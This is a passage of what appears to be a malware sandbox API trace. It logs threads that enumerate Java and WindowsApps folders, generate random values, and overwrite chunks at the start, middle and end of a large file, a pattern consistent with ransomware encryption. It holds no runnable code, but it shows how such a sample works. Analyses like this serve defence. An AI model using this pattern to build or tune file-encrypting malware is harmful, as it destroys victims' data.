	[0090.428] ReadFile (in: hFile=0x160c, lpBuffer=0x508b878, nNumberOfBytesToRead=0x33, lpNumberOfBytesRead=0x245bfb90, lpOverlapped=0x0 | out: lpBuffer=0x508b878*, lpNumberOfBytesRead=0x245bfb90*=0x33, lpOverlapped=0x0) returned 1
	[0090.429] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.429] WriteFile (hFile=0x160c, lpBuffer=0x5098080, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x245bfb8c, lpOverlapped=0x0) 

Thread:
	id = 1023
	os_tid = 0x1c6c

	[0082.618] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4780640
	[0082.618] wcscpy (in: _Dest=0x4780640, _Source="C:\\ProgramData\\Oracle\\Java\\installcache_x64" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\installcache_x64") returned="C:\\ProgramData\\Oracle\\Java\\installcache_x64"
	[0082.618] wcscat (in: _Dest=0x4780640, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\") returned="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\"
	[0082.618] wcscat (in: _Dest=0x4780640, _Source="*" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\*") returned="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\*"
	[0082.618] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e890
	[0082.618] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\*", lpFindFileData=0x502e890 | out: lpFindFileData=0x502e890*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8218
	[0082.619] wcscmp (_String1=".", _String2=".") returned 0
	[0082.619] FindNextFileW (in: hFindFile=0x46a8218, lpFindFileData=0x502e890 | out: lpFindFileData=0x502e890*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.619] wcscmp (_String1="..", _String2=".") returned 1
	[0082.619] wcscmp (_String1="..", _String2="..") returned 0
	[0082.619] FindNextFileW (in: hFindFile=0x46a8218, lpFindFileData=0x502e890 | out: lpFindFileData=0x502e890*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa315c98a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 1
	[0082.619] wcscmp (_String1="baseimagefam8", _String2=".") returned 1
	[0082.619] wcscmp (_String1="baseimagefam8", _String2="..") returned 1
	[0082.619] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bd510
	[0082.619] wcscpy (in: _Dest=0x47bd510, _Source="C:\\ProgramData\\Oracle\\Java\\installcache_x64" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\installcache_x64") returned="C:\\ProgramData\\Oracle\\Java\\installcache_x64"
	[0082.619] wcscat (in: _Dest=0x47bd510, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\") returned="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\"
	[0082.619] wcscat (in: _Dest=0x47bd510, _Source="baseimagefam8" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8") returned="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8"
	[0090.383] GetFileAttributesW (lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\baseimagefam8")) returned 0x2020
	[0090.385] SetFileAttributesW (lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8", dwFileAttributes=0x20) returned 1
	[0090.385] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\baseimagefam8"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15fc
	[0090.385] GetFileSizeEx (in: hFile=0x15fc, lpFileSize=0x2463faec | out: lpFileSize=0x2463faec*=82551925) returned 1
	[0090.386] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x4eba471, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.386] ReadFile (in: hFile=0x15fc, lpBuffer=0x2463fa70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2463fa6c, lpOverlapped=0x0 | out: lpBuffer=0x2463fa70*, lpNumberOfBytesRead=0x2463fa6c*=0x4, lpOverlapped=0x0) returned 1
	[0090.390] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731e48
	[0090.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731f38
	[0090.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ee8
	[0090.390] NtQuerySystemTime (in: CurrentTime=0x2463fa4c | out: CurrentTime=0x2463fa4c*=132251868171189937) returned 0x0
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x9b84d75c
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x8bc932d3
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x1999f90c
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x2e2f5a48
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x96b74d2e
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x10fda344
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x230d16a
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xbea21b9c
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xe6755619
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xce2ad87e
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xc9bee8a4
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xecbcf50b
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xd4ec5657
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x124720c4
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xc05f03d
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xa2b79094
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x2925cfdd
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xb77535c5
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xf2d3263c
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x91d56182
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x9c96fc0d
	[0090.390] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xa97c8c52
	[0090.391] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xd03671c3
	[0090.391] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xaee1ed4f
	[0090.391] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xfcbdb875
	[0090.391] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xfd4ba49
	[0090.391] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x71f09a3
	[0090.391] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x5e645611
	[0090.391] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x83105caf
	[0090.391] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x1c50effa
	[0090.391] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0xe5bfe4c
	[0090.391] RtlRandom (in: Seed=0x2463fa58 | out: Seed=0x2463fa58) returned 0x912ade2d
	[0090.399] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.399] ReadFile (in: hFile=0x15fc, lpBuffer=0x5072868, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2463fa04, lpOverlapped=0x0 | out: lpBuffer=0x5072868*, lpNumberOfBytesRead=0x2463fa04*=0xc800, lpOverlapped=0x0) returned 1
	[0090.402] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfab20
	[0090.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0090.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d80
	[0090.402] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731d80) returned 1
	[0090.403] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5059858
	[0090.403] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ce0
	[0090.403] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731e48
	[0090.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731e48) returned 1
	[0090.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0090.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab20) returned 1
	[0090.403] WriteFile (in: hFile=0x15fc, lpBuffer=0x5059858*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2463fa04, lpOverlapped=0x0 | out: lpBuffer=0x5059858*, lpNumberOfBytesWritten=0x2463fa04*=0xc800, lpOverlapped=0x0) returned 1
	[0093.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5059858) returned 1
	[0093.231] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x2767800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.231] ReadFile (in: hFile=0x15fc, lpBuffer=0x5072868, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2463fa04, lpOverlapped=0x0 | out: lpBuffer=0x5072868*, lpNumberOfBytesRead=0x2463fa04*=0xc800, lpOverlapped=0x0) returned 1
	[0093.495] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x2767800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfafa0
	[0093.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47539f8
	[0093.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x49849b0
	[0093.495] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49849b0) returned 1
	[0093.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eeb010
	[0093.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984a28
	[0093.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984870
	[0093.499] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984870) returned 1
	[0093.499] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47539f8) returned 1
	[0093.499] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfafa0) returned 1
	[0093.499] WriteFile (in: hFile=0x15fc, lpBuffer=0x4eeb010*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2463fa04, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesWritten=0x2463fa04*=0xc800, lpOverlapped=0x0) returned 1
	[0093.557] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0093.557] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x4eadc75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.557] ReadFile (in: hFile=0x15fc, lpBuffer=0x5072868, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2463fa04, lpOverlapped=0x0 | out: lpBuffer=0x5072868*, lpNumberOfBytesRead=0x2463fa04*=0xc800, lpOverlapped=0x0) returned 1
	[0093.907] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x4eadc75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb078
	[0093.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0093.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x49849d8
	[0093.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49849d8) returned 1
	[0093.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eeb010
	[0093.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984960
	[0093.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c30
	[0093.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984c30) returned 1
	[0093.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0093.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb078) returned 1
	[0093.908] WriteFile (in: hFile=0x15fc, lpBuffer=0x4eeb010*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2463fa04, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesWritten=0x2463fa04*=0xc800, lpOverlapped=0x0) returned 1
	[0093.940] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0093.961] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47339a0
	[0093.962] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.962] WriteFile (hFile=0x15fc, lpBuffer=0x48bbcb0, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0x2463faac, lpOverlapped=0x0) 

Thread:
	id = 1024
	os_tid = 0x1c70

	[0082.620] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dac058
	[0082.620] wcscpy (in: _Dest=0x2dac058, _Source="C:\\ProgramData\\Oracle\\Java\\javapath" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\javapath") returned="C:\\ProgramData\\Oracle\\Java\\javapath"
	[0082.620] wcscat (in: _Dest=0x2dac058, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\javapath\\") returned="C:\\ProgramData\\Oracle\\Java\\javapath\\"
	[0082.620] wcscat (in: _Dest=0x2dac058, _Source="*" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\javapath\\*") returned="C:\\ProgramData\\Oracle\\Java\\javapath\\*"
	[0082.620] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502eaf8
	[0082.620] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\*", lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8258
	[0082.620] wcscmp (_String1=".", _String2=".") returned 0
	[0082.620] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.620] wcscmp (_String1="..", _String2=".") returned 1
	[0082.620] wcscmp (_String1="..", _String2="..") returned 0
	[0082.620] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1
	[0082.620] wcscmp (_String1="java.exe", _String2=".") returned 1
	[0082.620] wcscmp (_String1="java.exe", _String2="..") returned 1
	[0082.620] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1
	[0082.620] wcscmp (_String1="javaw.exe", _String2=".") returned 1
	[0082.620] wcscmp (_String1="javaw.exe", _String2="..") returned 1
	[0082.620] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1
	[0082.620] wcscmp (_String1="javaws.exe", _String2=".") returned 1
	[0082.620] wcscmp (_String1="javaws.exe", _String2="..") returned 1
	[0082.620] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 0
	[0082.620] FindClose (in: hFindFile=0x46a8258 | out: hFindFile=0x46a8258) returned 1
	[0082.621] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502eaf8) returned 1
	[0082.621] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac058) returned 1
	[0082.621] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dffe60) returned 1

Thread:
	id = 1025
	os_tid = 0x1c74

	[0082.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x47ed0d0
	[0082.622] wcscpy (in: _Dest=0x47ed0d0, _Source="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984") returned="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984"
	[0082.622] wcscat (in: _Dest=0x47ed0d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984\\") returned="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984\\"
	[0082.622] wcscat (in: _Dest=0x47ed0d0, _Source="*" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984\\*") returned="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984\\*"
	[0082.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502eaf8
	[0082.622] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984\\*", lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8258
	[0082.622] wcscmp (_String1=".", _String2=".") returned 0
	[0082.622] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.622] wcscmp (_String1="..", _String2=".") returned 1
	[0082.622] wcscmp (_String1="..", _String2="..") returned 0
	[0082.622] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1
	[0082.622] wcscmp (_String1="java.exe", _String2=".") returned 1
	[0082.622] wcscmp (_String1="java.exe", _String2="..") returned 1
	[0082.622] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1
	[0082.622] wcscmp (_String1="javaw.exe", _String2=".") returned 1
	[0082.622] wcscmp (_String1="javaw.exe", _String2="..") returned 1
	[0082.622] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1
	[0082.622] wcscmp (_String1="javaws.exe", _String2=".") returned 1
	[0082.623] wcscmp (_String1="javaws.exe", _String2="..") returned 1
	[0082.623] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 0
	[0082.623] FindClose (in: hFindFile=0x46a8258 | out: hFindFile=0x46a8258) returned 1
	[0082.623] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502eaf8) returned 1
	[0082.623] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed0d0) returned 1
	[0082.623] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed140) returned 1

Thread:
	id = 1026
	os_tid = 0x1c78

	[0082.624] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x47707a8
	[0082.624] wcscpy (in: _Dest=0x47707a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe"
